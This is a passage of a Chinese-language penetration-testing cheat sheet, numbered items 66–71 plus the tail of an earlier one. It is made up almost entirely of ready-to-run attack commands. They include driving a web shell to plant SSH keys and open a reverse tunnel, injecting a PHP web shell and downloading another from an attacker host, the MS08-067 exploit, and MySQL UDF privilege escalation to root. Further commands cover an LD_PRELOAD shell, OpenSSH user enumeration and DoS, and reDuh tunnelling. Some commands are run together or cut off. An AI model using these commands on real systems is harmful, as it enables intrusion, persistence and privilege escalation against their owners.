// 生成 shell 使用的 ssh 密鑰$ wget -O - -q "http://domain.tk/sh.php?cmd=whoami"$ wget -O - -q "http://domain.tk/sh.php?cmd=ssh-keygen -f /tmp/id_rsa -N \"\" "$ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa"http:// 增加用戶 tempuser $ useradd -m tempuser$ mkdir /home/tempuser/.ssh && chmod 700 /home/tempuser/.ssh$ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa" > /home/tempuser/.ssh/authorized_keys$ chmod 700 /home/tempuser/.ssh/authorized_keys$ chown -R tempuser:tempuser /home/tempuser/.ssh// 反彈 ssh shell$ wget -O - -q "http://domain.tk/sh.php?cmd=ssh -i /tmp/id_rsa -o StrictHostKeyChecking=no -R 127.0.0.1:8080:192.168.20.13:8080 -N -f tempuser@
66.利用 POST 遠程命令執行獲取 Shell
attacker:~$ curl -i -s -k -X 'POST' --data-binary $'IP=%3Bwhoami&submit=submit' 'http://victum.tk/command.php'attacker:~$ curl -i -s -k -X 'POST' --data-binary $'IP=%3Becho+%27%3C%3Fphp+system%28%24_GET%5B%22cmd%22%5D%29%3B+%3F%3E%27+%3E+..%2Fshell.php&submit=submit' 'http://victum.tk/command.php'attacker:~$ curl http://victum.tk/shell.php?cmd=id// 在服務器上下載 shell (phpshell.php)http://victum.tk/shell.php?cmd=php%20-r%20%27file_put_contents%28%22phpshell.php%22,%20fopen%28%22http://attacker.tk/phpshell.txt%22,%20%27r%27%29%29;%27// 運行 nc 并執行 phpshell.phpattacker:~$ nc -nvlp
67.MS08-067 – 不使用 Metasploit
$ nmap -v -p 139, 445 --script=smb-check-vulns --script-args=unsafe=1 192.168.31.205$ searchsploit ms08-067$ python /usr/share/exploitdb/platforms/windows/remote/7132.py 192.168.31.205 1
68.通過 MySQL Root 賬戶實現提權
# Mysql Server version: 5.5.44-0ubuntu0.14.04.1 (Ubuntu)$ wget 0xdeadbeef.info/exploits/raptor_udf2.c$ gcc -g -c raptor_udf2.c$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lcmysql -u root -pmysql> use mysql;mysql> create table foo(line blob);mysql> insert into foo values(load_file('/home/user/raptor_udf2.so'));mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';mysql> create function do_system returns integer soname 'raptor_udf2.so';mysql> select * from mysql.func;mysql> select do_system('echo "root:passwd" | chpasswd > /tmp/out; chown user:user /tmp/out');user:~$ su -Password:user:~# whoamirootroot:~# iduid=0(root) gid=0(root) groups=0(root)
69.使用 LD_PRELOAD 注入程序
拓展學習《【Linux】LD_PRELOAD用法》:blog.csdn.net/iEearth/a
$ wget https://github.com/jivoi/pentest/ldpreload_shell.c$ gcc -shared -fPIC ldpreload_shell.c -o ldpreload_shell.so$ sudo -u user LD_PRELOAD=/tmp/ldpreload_shell.so /usr/local/bin/somesoft
70.針對 OpenSSH 用戶進行枚舉時序攻擊
枚舉時序攻擊(“Enumeration Timing Attack”)屬于側信道攻擊/旁路攻擊(Side Channel Attack),側信道攻擊是指利用信道外的信息,比如加解密的速度/加解密時芯片引腳的電壓/密文傳輸的流量和途徑等進行攻擊的方式,一個詞形容就是“旁敲側擊”。
osueta 是一個用于對 OpenSSH 進行時序攻擊的 python2 腳本,其可以利用時序攻擊枚舉 OpenSSH 用戶名,并在一定條件下可以對 OpenSSH 服務器進行 DOS 攻擊。
// 項目地址:https://github.com/c0r3dump3d/osueta$ ./osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v yes$ ./osueta.py -H 192.168.10.22 -p 22 -d 15 -v yes –dos no -L userfile.txt
71.使用 ReDuh 構造合法的 HTTP 請求以建立 TCP 通道
ReDuh 是一個通過 HTTP 協議建立隧道傳輸各種其他數據的工具。其可以把內網服務器的端口通過 http/https 隧道轉發到本機,形成一個連通回路。用于目標服務器在內網或做了端口策略的情況下連接目標服務器內部開放端口。
項目地址:github.com/sensepost/re
// 步驟 1// 上傳 reDuh.jsp 目標服務器$ http://192.168.10.50/uploads/reDuh.jsp// 步驟 2// 在本機運行 reDuhClient $ java -jar reDuhClient.jar http://192.168.10.50/uploads/reDuh.jsp// 步驟 3// 使用 nc 連接管理端口$ nc -nvv 127.0.0.1 1010// 步驟 4// 使用隧道轉發本地端口到遠程目標端口[createTunnel] 7777:172.16.0.4:3389// 步驟 5// 使用 RDP 連接遠程$ /usr/bin/rdesktop -g 1024x768 -P -z -x l -k en-us -r sound:off localhost:7
系統安全運維
FreeBuf
安全牛
系統安全運維
系統安全運維
LemonSec
LemonSec
威努特工控安全
GoUpSec
LemonSec
聚銘網絡
系統安全運維